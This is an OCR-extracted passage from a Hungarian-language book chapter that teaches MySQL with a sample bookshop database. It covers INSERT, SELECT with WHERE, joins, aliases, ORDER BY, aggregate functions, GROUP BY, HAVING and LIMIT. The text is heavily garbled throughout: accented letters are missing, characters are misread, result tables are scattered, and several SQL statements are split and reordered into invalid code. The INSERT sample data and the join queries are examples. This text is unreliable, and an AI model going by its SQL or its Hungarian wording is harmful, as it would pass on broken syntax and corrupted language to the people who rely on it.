gyfl hozzadsakor pedig figyelmen kvl hagytuk az oszlopot! Emlkezznk vissza, hogy amikor ltrehoztuk az adatbzist, a vasarloid oszlopot a vasarlok tbla elsdleges kulcsaknt hatrozruk meg, gy ez kiss furcsnak tnhet. A mezt azonbanAUTO _INCREMENT-knt hatrozruk meg. Ez azt jelenti, hogy amikor olyan sort szrunk be, amelyben a mezNULL rtk vagy rtk nlkli, a MySQL az elz rtket automatikusan eggyel megnvelve hozza ltre s szrja be az rtket. Igen hasznos funkcija ez a MySQL-nek. Egyszerre tbb sort is beszrharunk egy tblba. Minden sort zrjeleken bellre kell rni, s a sorokat tartalmaz zrjele ket vesszvel kell egymsrl elvlasztani. AzINSERT utasts nhny tovbbi vltozatban is ltezik. AzINSERT sz utn aLOW _PRIORITY ADELAYED vagy a DELAYED kulcs sz is hasznlhat. Az elbbi azt jelenti, hogy a rendszer vrhat a beszrssal addig, amikor nem olvas adatokat a tblbl. kulcssz azt jelenti, hogy a beszrt adatunk pufferbe kerl. Ha a kiszolgl elfoglalt, folytathatjuk a lekrdezsek mvelet befejezdik. futtatst, nem kell megvrni, amig azINSERT

Kzveclenl ezt kveten opcionlisan hasznlharjuk azIGNORE kulcsszt. Ez azt eredmnyezi, hogy ha olyan sorokat pr blunk beszrni, amelyek dupliklt egyedi kulcsot eredmnyeznek, akkor azokat a rendszer csendben figyelmen kvl hagyja. Egy tovbbi lehetsg azINSERT nosUPDATE utasts vgn azON DUPLICATE KEY UPDATE hasznlata. Ez arra j, hogy egy ltal utastsok sorozatt utastssal (amellyel a fejezet egy ksbbi rszben foglalkozunk) megvltoztassuk a dupliklt rtket.

sszelltortunk nhny egyszer mintaadatot, amelyekkel feltlthet az adatbzis. EgyszerINSERT


fej ezet \konyv _ beszuras. sql fjljban talljuk, illetve a 10.1 pldakd is ezt mutatja.

lthatjuk, amelyek az egyszerre tbbsoros beszrst alkalmazzk. Ezt a kdrszletet a knyv letlthet mellkletnek \l O_

10.1 pldakd: konyv_beszuras.sql- A Book-O-Rama tblitjeltlt SQL kd USE


konyvek; vasarlok VALUES '25 Oak Street', 'Airport West'}, 'Box Hill'}, 'Yarraville'};

INSERT INTO
(3, (4, (5,

'Julie Smith', 'Alan Wong',

'1/47 Haines Avenue',

'Michelle Arthur',

'357 North Road',

INSERT

INTO
3, l, 2,

megrendelesek VALUES 69. 98, 49.99, 74.98, 24.99, '2007-04-02'}, '2007-04-15'}, '2007-04-19'}, '2007-05-01'};

(NULL, (NULL, (NULL,

(NULL, 3,

Munkavgs MySQL adatbzisunkkal

167

INSERT INTO konyvek VALUES


( '0-672-31697-8' , ('0-672-31745-1', ('0-672-31509-2', ( '0-672-31769-9',

'Michael Margan', 'Thomas Down', 'Pruitt,

'Java 2 for Professional Developers', Debian GNU/Linux',


24.99),

34.99),

'Installing

et al.',

'Teach Yourself GIMP in 24 Hours',

24.99),

10

'Thomas Schenk', System Administration Unleashed',


49.99);

'Caldera OpenLinux

INSERT INTO rendelesi tetelek VALUES

(l,
(2,

'0-672-31697-8'' '0-672-31769-9'' '0-672-31769-9'' '0-672-31509-2', '0-672-31745-1',

2)'

l)'

(3,
(3, (4 ,

l)'
l)' 3);

INSERT INTO konyv_ertekelesek VALUES


('0-672-31697-8',

'Morgan knyve jl rthet,

tartalma messze

meghaladja a piacon lev alapszint Java knyvek anyagt.');

A kvetkezkppen futtathatjuk t MySQL-en a fenti szkriptet a parancssorbl:


>

mysql -h host -u bookorama -p konyvek

<

/path/to/konyv_beszuras.sql

Adatok visszakeresse adatbzisbl


Az SQL igslova a SELECT utasts. Arra hasnljuk, hogy a tblat meghatrozott kritriumoknak megfelel sorainak k.ivlastsval adatokat kapjunk vissa u adatbzisbL Rengeteg klnb lehetsg s mdszer van a SELECT utasts alkalmusra. A SELECT alapvet formja a kvetkez:
SELECT [opciokl elemek [INTO fajl reszleteil FROM tablak WHERE feltetelek l GROUP BY csoport_tipusa HAVING feltetel l ORDER BY rendezes_tipusa [LIMIT korlatozasi_feltetel

l l

[PROCEDURE eljaras_neve(parameterek)l [zarolasi_opciokl

A kvetkez rsekben u utasts minden egyes mellkgt bemutatjuk. Elsr uonban nznk egy olyan, opcionlis mellkgak nlkli lekrdezst, amely nhny elemet vlogat le egy adott tblbl! Eek a elemek jellemzen a tblzat oslo
pa.i. (Lehetnek ugyanakkor MySQL kifejezsek eredmnyei is. Nhny hasnosabb kifejezssel a kvetkez rs vgn megis

merkedhetnk.) A albbi lekrdezs a vasarlok tbla nev s varos oslopnak tartalmt listza ki:
SELECT nev, varos FROM vasarlok;

Amennyiben betltttk a 10.1 pldakd rnintaadatait, illetve vgrehajtottuk a fejezet korbbi rszben bemutatott, kt
INSERT

pldautastst, akkor a lekrdes eredmnye a kvetkez les:


l
varos

+-----------------+--------------------+ l nev
Julie Smith Alan Wong Michelle Arthur Melissa Jones Michael Archer

+-----------------+--------------------+
Airport West Box Hill

Yarraville Nar Nar Goon North Leeton

+-----------------+--------------------+

Lthatjuk, hogy a fenti tbla a megadott tbla ( vasarlok ) kivlastott elemeit ( nev s va ros) tartalmua. Eek a ada tok a vasarlok tbla minden sorbl meg lettek jelentve.

168

10. fejezet

Az oszlopokat a SELECT kulcssz utn tetszleges szmban felsorolhaguk. Szmos tovbbi lehetsg kzl vlasztha runk a lekrdezs kialaktsakor. Nagyon hasznos a dzskerkarakter

), amely a megadott tbla vagy tblk sszes oszlopt

10

kivlasztja. Ha pldul a rendeles i_tetelek tbla sszes oszlopt s sort szetetnnk visszakapni, akkor az albbi SQL kdot kellene hasznlnunk:
SELECT
*

FROM rendelesi tetelek;

amely a kvetkez kimenetet eredmnyezi:


+------------+---------------+-----------+

rendelesid l 2 3 3 4

isbn 0-672-31697-8 0-672-31769-9 0-672-31769-9 0-672-31509-2 0-672-31745-1

mennyiseg 2 l l l 3

+------------+---------------+-----------+

+------------+---------------+-----------+

Adott feltteleknek megfelel adatok visszakeresse


Hogy a tblzat sorainak rszhalmazhoz frjnk hozz, valamilyen kivlasztsi felttelt kell meghatroznunk A WHERE mel lkgban tehetjk meg ezt. Az albbi kd pldul:
SELECT
*

FROM megrendelesek WHERE vasarloid = 5;

a megrendelesek sszes oszlopt kivlaszga, m csak azokat a sorokat, ahol a vasarloid rtke 5. Ennek a lekrdezs nek a kimenete:
+------------+------------+--------+------------+

l l l

rendelesid l 4

l l l

vasarloid 5 5

l l l

sszeg 69.98 24.99

l l l

datum 2007-04-02 2007-05-01 l l

+------------+------------+--------+------------+

+------------+------------+--------+------------+

A WHERE mellkg hatrozza meg az adott sorok kivlaszrsra hasznlt felttelt. Jelen esetben azokat a sorokar vlasztor ruk ki, amelyeknek vasa r lo i d-je 5. Az egyszeres egyenlsgjelet az egyenlsg ellenrzsre hasznljuk; figyeljk meg, hogy ez eltr a PHP-beli hasznlattl, s ha egyszerre hasznljuk a kr nyelvet, knnyen sszezavarodharunk! Az egyenlsgen tlmenen a MySQL mveleti jelek s regulris kifejezsek szles skljt tmogatja. A WHERE mellk gakban leggyakrabban hasznlrakat a 10.1 tblzatban talljuk. A lista nem teljes; ha nem talljuk itt, amit keresnk, nzzk meg a MySQL kziknyvben!
10.1

tblzat: WHERE mellkgakban gyakran hasznlt sszehasonlt mveleti jelek


Nv (ha van) Egyenlsg Nagyobb, mint Kisebb, mint Nagyobb egyenl Kisebb egyenl Nem egyenl Plda
vasarloid
=

Mveleti jel
> < >= <= = vagy<>

Lers
3

Kt rtk egyenlsgr llaptja meg. Megllapga, hogy az egyik rtk nagyobb-e, mint a msik. Megllapga, hogy az egyik rtk kisebb-e, mint a m sik. Megllaptja, hogy az egyik rtk nagyobb vagy egyen l-e, mint a msik. Megllaptja, hogy az egyik rtk kisebb vagy egyenl-e, mint a msik. Megllaptja, hogy a kt rtk nem egyenl. Megllapga, hogy a mez tartalmaz-e rtket.

os szeg > 60.00 osszeg < 60.00 osszeg >= 60.00 osszeg <= 60.00 mennyiseg

!= o

IS NOT NULL

lakeim is not null

Munkavgzs MySQL adatbzisunkkal

169

Mveletijel
IS NULL BETWEEN

Nv (ha van)

Plda
lakeim is null osszeg between

Lers Megllaptja, hogy mez nem tartalmaz rtket. Megllaptja, hogy az rtk nagyobb vagy egyenl-e a minimum rtkkel, s kisebb vagy egyenl-e a maximum rtkkel. Megllaptja, hogy az rtk megtallhat-e az adott halmazban. Megllaptja, hogy az rtk nem rallhat meg az adott halmazban. Egyszer SQL mintaillesztssel ellenrzi, hogy az rtk illeszkedik-e egy adott minthoz. Ellenrzi, hogy az rtk nem illeszkedik egy adott minthoz. Ellenrzi, hogy egy rtk illeszkedik-e egy regulris kifejezshez.

O and 60.00

IlO
\.

IN

varos in (Carl ton'; "Moe")

NOT

IN

city not in (Carlton", "Moe")

LIKE

Mintailleszts Minrailleszts Regulris kifejezs

nev like

(Fred

%")
NOT LIKE nev not like (Fred REGEXP

" % )

nev regexp

A tblzat utols hrom sora a LIKE s a REGEXP kulcsszra hivatkozik. Mindkett a mintailleszrs egy-egy formja. A LIKE egyszer SQL mintailleszrsr alkalmaz. A mintk szablyos szvegbl, illetve a tetszleges szm specilis karaktert helyettest% (szzalk) jelbl s az egyetlen karaktert helyettest_ (alulvons) karakterbl plhernek fel. A REGEXP kulcsszr regulris kifejezshez illeszrsre hasznljuk. A MySQL POSlX-fle regulris kifejezsekkel dolgozik. A REGEXP kulcssz helyett az RLIKE is hasznlhat, a kett egyms szinonimja. A POSlX-fle regulris kifejezseker PHP ben is hasznljuk. Rszleresebben a Karakterlncok kezelse s regulris kifejezsek cm 4. fejezerben olvashattunk rluk. Egyszeren a mveleti jelek s a mintaillesztsi szintakrika hasznlatval tbbfle felttelnek megfelel lekrdezseker hajt harunk vgre, az AND s OR segitsgvel pedig mg sszetettebb szrfelrreleket hozhatunk ltre. Pldul:
SELECT
*

FROM megrendelesek WHERE vasarloid


=

3 OR vasarloid

4;

Adatok visszakeresse tbb tblzatbl


Hogy valamely krdsnkre vlaszt kapjunk egy adatbzisbl, gyakran egynl tbb tbla adarait szksges felhasznlnunk. Ha pldul azt szeremnk tudni, hogy melyik vsrl adott le rendelst ebben a hnapban, a vasar l ok s a megrendelesek tblt kell megnznnk. Ha arra is szksgnk van, hogy pontosan mit rendeltek, a rendelesi tetelek tblt is meg kell nznnk. Ezek az elemek kln tblkban helyezkednek el, mert a valsg klnbz objektumaihoz kapcsoldnak. Ez a j adatbzis tervezs egyik alapelve, amit a Webes adatbzis megtervezse cm 8. fejezerben ismertnk meg. Ahhoz, hogy ezeket az informcikat sszerakjuk SQL-ben, egy sszekapcsols (join) nev mveletet kell vgtehajtanunk. Ez egyszeren azt jelenti, hogy kt vagy tbb tblt sszekapcsolva kvethetjk az adatok kztti kapcsolatokat. Ha szeret nnk megtekinteni pldul a Julie Smith vsrl ltal feladott megrendelseket, ki kell keresnnk a vasarlok tblbanJulie gyfl-azonostjr ( vasarloid) , majd a megrendelesek tblban az ahhoz tartoz megrendelseket. Br az sszekapcsols elvileg egyszer dolog, mgis egyike az SQL finom s sszetett terleteinek. Szmos klnbz sz szekapcsolsi tpust valsthatunk meg MySQL-ben, s mindegyik ms clra alkalmazhat.
_

Egyszer, kttbls sszekapcsols


Kezdskppen nzzk meg az imnt emltett,Julie Smith-szel kapcsolatos lekrdezs SQL kdjt:
SELECT megrendelesek.rendelesid, FROM vasarlok, megrendelesek
=

megrendelesek.osszeg,

megrendelesek.datum

WHERE vasarlok.nev

'Julie Smith'
=

AND vasarlok.vasarloid

megrendelesek.vasarloid;

170

10.

fejezet

A lekrdezs kimenere az albbi:


+------------+--------+------------+

10

rendelesid

l l l

csszeg

l l l

datum

+------------+--------+------------+

l l

69.98 2 4 . 99

2007-04-02 2007-05-01

l l

+------------+--------+------------+

rdemes nhny dolgot megemlteni. Elszr is, mivel a lekrdezs vgrehajtshoz kt tbla adataira is szksg van, mind kt tblt ki kell listznunk A kt tbla listzsval az sszekapcsols pust is meghatroztuk - minden bizonnyal anlkl, hogy tudrunk volna rla. A tblanevek kztri vessz az INNER JOIN vagy CROSS JOIN begpelsvel egyenrtk. Az ilyen pus sszekapcsolst szoktk teljes sszekapcsolsnak (full join) vagy a tblk Descartesszorzatnak (Cartesian product) is nevezni. Azt jelenti, hogy "fogd a felsorolt tblkat, s csinlj bellk egy nagy tblt! A nagy tbla sorai a felsorolt tblk sorainak sszes lehetsges kombincijt tartalmazzk, akr van rtelmk, akr nincs!" Ms szavakkal olyan tblt kapunk, amelyben avasarl ok tbla minden sorval a megrendelesek tbla minden egyes sort prostottk, fggetlenl attl, hogy az adott vsrl adta-e le az adott rendelst. Ez a nyers er (brute-force) alap megkzelts az esetek tbbsgben nem tl hasznos. ltalban csak azokat a sorokat szeretnnk ltni, amelyeknek tnyleg van rtelme- pldul egy adott vsrl ltal feladott megrendelseket. gy jutharunk ilyen eredmnyre, ha sszekapcsols i Jelttelt (join condition) rakunk a WHERE mellkgba. Ez a klnleges pus feltteles utasts mutatja meg, hogy mely tulajdonsgok alkotjk a kt tbla kztti kapcsolatot. Jelen esetben az ssze kapcsoJsi felttel:
vasarlok.vasarloid
=

megrendelesek.vasarloid

Ez kzli a MySQL-lel, hogy csak azokat a sorokat rakja az eredmnytblba, ahol a vasarlok tbla gyfl-azonostja megegyezik a megrendelesek tblval. Az sszekapcsoJsi felttel lekrdezshez adsval msmilyen sszekapcsolst kapunk, amelynek pusa: egyensszekapcsols (equi-join). Figyeljk meg, hogy a pont hasznlata teszi egyrtelmv, hogy egy adott oszlop melyik tblbl szrmazik; vagyis a vasarlok.vasarloid a vasarlok tbla vasarloid oszlopt, a megrendelesek. vasarloid pedig a megrendelesek tbla vasar l o id oszlopt jelli. A pont hasznlatra akkor van szksg, ha az oszlop neve nem egyrtelm - vagyis, ha egynl tbb tblban fordul el. Ha a hasznlatot kiterjesztjk, akkor klnbz adatbzisok ugyanolyan nev oszlopainak megklnbztetsre is alkalmas. Pl dnkban a tabla. oszlop megnevezst hasznltuk, de az adatbazis. tabla. oszlop jellssei az adatbzist is meghat rozzuk- pldul azrt, hogy teszteljnk egy, az albbihoz hasonl felttelt:
konyvek.megrendelesek.vasarloid
=

masik_adatbazis.megrendelesek.vasarloid

Ezt a hivatkozsi mdszert a lekrdezsben szerepl minden oszlopnl hasznlhatj uk. Klnsen akkor rdemes ezzel lni, ha lekrdezseink kezdenek sszetett vlni. A MySQL nem ignyli ezt, de emberi szemmel sokkal olvashatbb s kezelhe tbb teszi lekrdezseinket. Lthatjuk, hogy ezt a szokst kvettk az elz lekrdezs tbbi rszben, pldul a
vasarlok. nev '
=

Julie Smith

'

felttel esetben. nev nev oszlop csak a vasarlok tblban fordul el, gy igazbl nem szksges meghatroznunk, hogy melyik tbla oszlopra hivatkozunk. A MySQL soha nem fog sszezavarodni. Az emberek szmra a nev nmagban kds lehet, gy egyrtelmbb teszi a lekrdezs jelentst, ha vasarlok.nev formban hivatkezunk az adott oszlopra.

Kettnl tbb tbla sszekapcsolsa


Kettnl tbb tblt sszekapcsolni semmivel nem bonyolultabb, mint a kttbls sszekapcsols. ltalnos szablyknt el mondhat, hogy a tblkat prosval kell az sszekapcsolsi felttelekkel sszekapcsolni. gy kpzeljk el ezt, mintha tblrl tblra kvetnnk az adatok kztti kapcsolatot! Ha pldul arra vagyunk kvncsiak, melyik vsrl rendelt Javval foglakoz knyveket (mondjuk azrt, hogy reklmot kldjnk neki egy jonnan megjelen Java kiadvnyrl), tbb tbln kell vgigkvetnnk ezeket a kapcsolatokat. Olyan vsrlkat kell keresnnk, akik legalbb egy olyan megrendelst feladtak, amelynek egyik rendelsi trele (rendelesi_tetelek) egy Javval foglalkoz knyv volt. Avasarlok tblbl a vasarloid hasznlatval jutunk el a megrendelesek tblhoz, ahogy ezt mr korbban is lttuk. Ahhoz, hogy a megrendelesek tblbl eljussunk a rendelesi tetelek tblig, a rendelsazonostt ( rendelesid) kell hasznlni. Vgl a rendelesi tetelek
_

Munkavgzs MySQL adatbzisunkkal

171

tblbl a kon yvek tbla egy konkrt knyvhez az ISBN -kd ltal juthatunk. Ha ltrehoztuk ezeket a kapcsolatokat, megnzzk, melyik knyv cmben szerepel a java kifejezs, majd visszatrnk azon vsrlk nevhez, akik rendeltek ezekbl a knyvekbl. Nzzk meg azt a lekrdezst, amely mindezt megvalstja:
SELECT vasarlok.nev megrendelesek,
=

10

FROM vasarlok,

rendelesi_tetelek,

konyvek

WHERE vasarlok.vasarloid

megrendelesek.vasarloid
=

AND megrendelesek.rendelesid AND rendelesi


=

rendelesi tetelek.rendelesid

tetelek.isbn konyvek.isbn ' ' AND konyvek. eim LIKE %Java% ;

A lekrdezs a kvetkez kimenetet eredmnyezi:


+-----------------+

l l

nev

+-----------------+
Julie Smith

+------------ -----+

Lthatjuk, hogy a pldban ngy klnbz tblzaron keresztl kvettk az adatokat, s ha mindezt egyensszekapcsols sal szeretnnk elrni, hrom klnbz sszekapcsoJsi felttelre van szksgnk. ltalnossgban igaz, hogy sszekapcsolni kvnt tblapronknt egy sszekapcsoJsi felttel szksges, gy az sszekapcsoJsi felttelek szma az sszekapcsolni kivnt tblk szmnl eggyel kisebb. Ez az alapszably hasznos lehet a nem igazn mkd lekrdezsek hibakeressnL Ellen rizzk sszekapcsoJsi feltteleinket, s gyzdjnk meg arrl, hogy vgigjrtuk az utat onnan, amit tudunk, oda, amit tudni szeretnnk!

A felttelt

nem teYest sorok keresse

Az sszekapcsols MySQL-ben hasznlt msik f tpusa a bal sszekapcsols (left join).

Megfigyelhetjk, hogy az elz pldkban a lekrdezs eredmnye csak azokat a sorokat tartalmazta, ahol egyezst tall runk. Elfordulhat azonban az is, hogy kifejezetten a nem egyez sorokta van szksgnk - pldul azokat a vsrlkat keres sk, akik soha nem rendeltek, vagy azokat a knyveket, amiket soha nem rendeltek. Az ilyen jelleg krdsek MySQL-beli megvlaszolsnak egyik mdszere a bal sszekapcsols hasznlata. Az ilyen tpus sszekapcsols a kt tbla kztti meghatrozott sszekapcsoJsi felttel alapjn keres egyez sorokat. Ha a jobb oldali tbl ban nincsenek egyez sorok, olyan sor addik az eredmnyhez, amely NULL rtkeket tartalmaz a jobb oszlopokban. Nzznk egy pldt:
SELECT vasarlok.vasarloid, FROM vasarlok LEFT vasarlok.nev, megrendelesek.rendelesid JOIN megrendelesek
=

ON vasarlok.vasarloid

megrendelesek.vasarloid;

Ez az SQL lekrdezs bal sszekapcsolst hasznl az gyfelek s a megrendelsek sszekapcsolsra. Lthatjuk, hogy a bal sszekapcsols enyhn eltr szintaktikt alkalmaz az sszekapcsoJsi felttelhez; jelen esetben az sszekapcsoJsi felttel az SQL utasts specilis ON mellkgba kerl. Ennek a lekrdezsnek a kvetkez az eredmnye:
+------------+-----------------+------------+

vasarloid

l l l l l

nev

l
Smith Smith

rendelesid

+------------+-----------------+------------+

3 3 4 5

Julie Julie

l l

4 NULL

Alan Wong Michelle Arthur

l NULL

+-----------+-----------------+------------+

Ez a kimenet csak azoknl a vsrlknl tartalmaz rendelsazonostt ( rendelesid ) , akiknek van rekordja a megrendels rblban, azaz volt megrendelsk. Ha csak azokat a vsrlkat szetetnnk ltni, akik mg semmit sem rendeltek, NULL rtkeket kell keresnnk a jobb tbla (jelen esetben a rendeles id) elsdleges kulcsmezjben, mivel a valdi sorokban az nem lehet NULL:
SELECT vasarlok.vasarloid, LEFT vasarlok.nev FROM vasarlok

JOIN

megrendelesek

17:l

l O. fejezet

USING

(vasarloid) NULL;

WHERE megrendelesek.rendelesid IS

10

Az eredmny:
+------------+-----------------+

l l l

vasarloid

l l l

nev

+------------+-----------------+

4 5

Alan Wong Michelle Arthur

+------------+-----------------+

Figyeljk meg azt is, hogy ez a plda msmilyen szintaktikt hasznl az sszekapcsalsi felttelhez! A bal sszekapcsolsok vagy az els pldban ltott ON, vagy a msodik pldban szerepl U SING szintaktikval mkdnek. Meg kell emltennk, hogy az utbbi nem hatrozza meg. hogy melyik tblbl jn az sszekapcsalsi tulajdonsg; ppen ezrt a US ING hasznlat hoz arra van szksg. hogy a kt tbla oszlopnak ugyanaz legyen a neve. Az ilyen jelleg krdseket egymsba gyazott lekrdezsekkel (subquery) is megvlaszolhatjuk. Ezekkel a fejezet egy ksb bi rszben rszletesen foglalkozunk.

Ms nevek hasznlata a tblkra: az aliasok


Gyakran praktikus, esetenknt pedig nlklzhetetlen, hogy a tblkra ms nven is hivatkozni rudjunk. A tblk ezen ms neveit aliasoknak nevezik. A lekrdezs elejn hozhatjuk ltre ket, ezt kveten vgig hasznlhatk. Sokszor rvidtsknt szolglnak. Kpzeljk el a korbban ltott hatalmas lekrdezst aliasokkal trva:
SELECT v.nev FROM vasarlok AS WHERE v.vasarloid AND m.rendelesid
=

v,
=

megrendelesek AS m.vasarloid rt.rendelesid

m,

rendelesi tetelek AS rt,

konyvek AS k

AND rt.isbn = k.isbn ' ' AND k. eim LIKE %Java% ;

Miutn meghatroztuk a hasznlni kivnt tblkat, egy AS mellkg hozzadsval deklarljuk az adott tbla aliast. Az aliasokat oszlopokhoz is hasznlharjuk - erre rvidesen visszatrnk mg. amikor az sszest fggvnyeket vizsgljuk meg. Amikor egy tblzatot nmagval szeretnnk sszekapcsolni, tblaaliasokat kell hasznlnunk. A feladat bonyolultabbnak s egzotikusabbnak hangzik, mint amilyen valjban. Tobbek kztt akkor rud hasznos lenni, amikor egy tblban ugyanolyan rtk sorokat keresnk. Ha pldul olyan vsrlkat keresnk, akik ugyanabban a vrosban laknak - tegyk fel, hogy olvas kre szetetnnk ltrehozni -, kt klnbz aliast adharunk ugyanannak a tblnak ( vasarlok ) :
SELECT vl.nev, v2.nev, vl.varos FROM vasarlok AS vl, vasarlok AS v2

WHERE vl.varos = v2.varos AND vl.nev

!= v2.nev; ! = c2.nev) is szksg van annak rdekben,

Itt tulajdonkppen gy tesznk, mintha a vasarlok kt klnbz tbla, cl s c2 lenne, s sszekapcsolst hajtunk vgre a Varos oszlopon. Figyeljk meg. hogy a msodik felttelre ( cl.nev hogy ne nmagukkal prostsuk a vsrlkat!

sszefoglals: sszekapcsolsok
A 10.2 tblzatban az elzekben bemutatott klnbz sszekapcsols-tpusok sszefoglalst lthatjuk. Lteznek tovbbi tpusok is, m az itt szereplk a legfontosabbak, a leggyakrabban hasznltak.
10.2 tblzat: Nv

sszelwpcsolsi tpusok MySQL-ben


Lers

Descarres-szorzat

Az sszekapcsolsban rszt vev sszes tbla minden sornak minden lehetsges kombi ncija. A tblanevek kz vesszt rva, W HERE mellkgat nem meghatrozva hozhat ltre.

Teljes sszekapcsols

Ugyanaz, mint az elz.

Munkavgzs MySQL adarbzisunkkal

173

Nv Keresztsszekapcsols Bels sszekapcsols

Lers

Ugyanaz, mint az elz. gy is ltrehozhat, hogy az sszekapcsolni kivnt tblk neve kz a CROSS
JOIN

kulcsszavakar rjuk.
JOIN

Szemancikailag a vesszvel egyenrtk. Az INNER

kulcsszavakkal is meghat

10

rozhat. W HERE felttel nlkl a reljes sszekapcsolssal egyenrtk. ltalban megha trozunk W HERE felttelt, hogy valdi bels sszekapcsolss tegyk. Egyensszekapcsols Bal sszekapcsols Felrteles kifejezst
=

jellel hasznlva prosrja az sszekapcsolsban lv klnbz


NULL

tblk sorair. SQL-ben ez a WHERE mellkgar tartalmaz sszekapcsols. Tblk kztt prbl sorokat prostani, s a nem passzol sorokar ki. SQL-ben a
LEFT JOIN

rtkekkel tlti

kulcsszavakkal hasznljuk, hinyz rtkek megkeressre

alkalmas. Ugyangy hasznlharunk jobb sszekapcsolst (righr join) is.

Adatok visszakeresse meghatrozott sorrendben


Ha meghatrozott sorrendben szerernnk megjelenteni a lekrdezs ltal visszaadorr sorokat, a lltsuk el. Az ORDER
az BY

SELECT

urasrs

ORDER BY

mellkgr kell hasznlnunk. Ez a funkci kivlan alkalmas arra, hogy a kimeneret emberi szem ltal jl olvashat formban mellkg a
SELECT

mellkgban felsorolt egy vagy tbb oszlop szerint rendezi a sorokat. Vegyk pldul

albbi lekrdezst:
lakeim vasarlok

SELECT nev, FROM

ORDER BY nev;

Ez a lekrdezs bcsorrendben adja vissza az gyfelek nevr s cmt, gy:


+-----------------+--------------------+

l nev

lakeim

+-----------------+ --------------------+

Alan Wong Julie Smith

1/47 Haines Avenue l l 25 Oak Street 357 North Road

l Michelle Arthur

+-----------------+--------------------+

Figyeljk meg, hogy a nevek jelen esetben - mivel az angolszsz terleten hasznlt keresztnv-vezetknv formban troljuk ket - a kereszrnv alapjn vannak rendezve! Ha vezetknv alapjn szerernnk rendezni, kt mezben kellene trolni a neveket. Az alaprtelmezett rendezs az emelked sorrend (a-tl z-ig vagy numetikusan emelked). Ha szeretnnk, az ASC kulcssz segtsgvel kifejezetten megadharjuk ezt:
SELECT FROM nev, lakeim vasarlok nev ASC;

ORDER BY

DESC

(descending, azaz cskken) kulcssz hasznlatval pont fordrott, azaz cskken sorrendbe rendezhernk:
lakeim

SELECT FROM

nev,

vasarlok nev DESC;

ORDER BY

Tbb oszlop szerint is rendezhernk. Az oszlopnevek helyett hasznlharunk aliasokat vagy a sorszmukat is (a 3 pldul a tbla harmadik oszlopt jelenti).

Adatok csoportostsa s sszestse


Gyakran tudni szerernnk, hogy hny sor rtke esik egy adott halmazba, vagy mi az oszlopban lv rtkek tlaga - pldul az tlagos rendelsi rtk. A MySQL sszest fuggvnyei j szalglarot tesznek az ilyen pus lekrdezsek lebonyoltsra. Az sszest fuggvnyeket egsz tblra vagy tbln belli adatcsoportra alkalmazhatjuk. A leggyakoribb ilyen fuggvnyeket a 10.3 tblzatban lthatjuk.

174

10. fejezet

10.3 tblzat: A

MySQL sszest fggvnyei


Lers Az adott oszlopban lv rtkek tlaga. Ha meghatrozunk egy oszlopot, a fggvny az abban tallhat nem res rtkek szmr adja vissza. Ha a DI STINCT kulcsszt rakjuk az oszlopnv el, akkor csak az oszlopban tallhat klnbz rt kek szmt kapjuk vissza. A COUNT( * ) a sorok szmr aclja vissza, s nem vizsglja, hogy van-e kztk res rtk.

10

Nv
AVG(oszlop) COUNT(elemek)

MIN(oszlop) MAX(oszlop) STD(oszlop) STDDEV(oszlop) SUM(oszlop)

A megadort oszlopban tallhat legkisebb rtk. A megadott oszlopban tallhat legnagyobb rtk. A megadott oszlopban tallhat rtkek szrsa. Ugyanaz, mint az STD(oszlop). A megadort oszlopban rallhat rtkek sszege.

Nzznk nhny pldt; kezdskppen vizsgljuk meg az imnt emltert krdst! A megrendelsek tlagrtkt a kvetkez kppen szmthatjuk ki:
SELECT avg(osszeg) FROM megrendeles;

Kimenetknt az albbihoz hasonlt kapunk:


+-------------+

l l

avg(osszeg)

+-------------+

54.985002

+-------------+

Ha rszletesebb informcira vgyunk, hasznljuk a GROUP rtk rendelseket:


SELECT vasarloid, FROM megrendelesek GROUP BY vasarloid; AVG(osszeg)

BY

mellkgat! Ez lehetv teszi, hogy csoportonknt - pl

dul gyflszmonknt - tekintsk meg az tlagos rendelsi rtket. Ebbl megtudhatj uk, me!y vsrlink adjk a legnagyobb

Ha a GROUP

BY

mellkgat sszest fggvnyhez hasznljuk, megvltoztatja a fggvny mkdst. Ahelyett, hogy

a tbla sszes rendelsi rtknek tlagt adn, a lekrdezs az egyes vsrlkhoz (pontosabban az egyes gyfl-azonostkhoz) tartoz tlagos rendelsi sszegrl tjkoztat:
+------------+-------------+

vasarloid

avg(osszeg)

+------------+-------------+

l l l 2 3 l l

49.990002 74.980003 47.485002

+------------+-------------+

Egy dolgot fontos megemltennk a csoportost s sszest fggvnyek hasznlata kapcsn: ha ANSI SQL-ben sszest fggvnyt vagy GROUP
BY

mellkgat hasznlunk, a SELECT mellkg csak az sszest fggvny( ek)et s a GROUP


BY

BY

mellkgban megnevezett oszlopokat tartalmazhatja. Ugyangy, ha valamely oszlopot hasznlni kvnjuk a GROUP gban, azt a SELECT mellkgban is szerepeltetni kell. A MySQL kicsivel nagyobb szabadsgot enged irt szmunkra. Tmogatja a

mellk

kiterjesztett szintaktikt (extended syntax), amely

lehetv teszi, hogy a SELECT mellkgbl kihagyjuk azokat az elemeket, amelyekre valjban nincs szksgnk. Az adatok csoportostsa s sszestse mellett arra is lehetsgnk nylik, hogy ellenrizzk egy sszests eredmnyt. Erre a HAVING mellkgat hasznljuk. Kzvetlenl a GROUP
BY

mellkg utn kell kvetkeznie, s olyan, mint egy WHERE

mellkg, amely csak csoportokra s sszestsekre vonatkozik. Gondoljuk tovbb az elz pldt! Ha azt szeretnnk kiderteni, hogy melyik vsrl tlagos rendelsi sszege haladja meg az 50 dollrt, az albbi lekrdezssei tudhatjuk meg ezt:
SELECT vasarloid, FROM megrendelesek AVG(osszeg)

Munkavgzs MySQL adatbzisunkkal

175

GROUP BY vasarlaid HAVING AVG(asszeg)


>

50;

Jegyezzk meg, hogy a HAVING mellkg csoportokra vonatkozik! A fenti lekrdezs az albbi eredmnyt hozza:
+------------+-------------+

10

l vasarlaid l 2

l l

avg(asszeg)

+------------+ -------------+

74.980003

+------------+-------------+

Visszakapni kvnt sorok kvlasztsa


A LIMIT a SELECT utasrs egyik olyan mellkga, amely rendkvl j szolglatot tehet webes alkalmazsok esetn. Haszn latval meghatrozhatjuk, hogy a kimenet me!y sorait kapjuk meg. Ez a mellkg kt paramtert fogad: a kezdsor sorszmt s a visszaadand sorok szmt. Az albbi lekrdezs a LIMIT hasznlatt pldzza:
SELECT nev FROM vasarlak LIMIT 2,

3;

A kvetkezkppen olvashat ez a lekrdezs:"Vlaszd ki az gyfelek nevt, md a kimenet msodik sortl kezdve adj vissza hrom sort!" rdemes megjegyezni, hogy a sorok szmozsa nullval kezddik; ez azt jelenti, hogy a kimenet els sora
a nulladik

szm sor lesz.

